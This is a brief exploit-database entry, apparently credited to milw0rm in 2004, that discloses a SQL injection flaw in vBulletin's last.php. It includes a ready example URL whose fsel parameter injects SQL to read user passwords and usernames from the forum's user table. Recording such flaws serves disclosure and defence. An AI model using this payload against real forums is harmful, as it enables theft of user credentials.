vBulletin LAST.PHP SQL Injection Vulnerability

No description provided by source. Example: http://www.example.com/last.php?fsel=,user.password%20as%20title,user.%20%20%20%20username%20as%20lastposter%20FROM%20user,thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT%201 milw0rm.com 2004-11-15...